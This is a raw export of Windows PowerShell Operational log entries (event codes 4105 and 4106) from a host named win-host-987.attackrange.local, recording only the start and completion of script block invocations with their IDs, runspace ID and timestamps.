LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041911
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041905
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041883
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041881
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041880
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041863
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
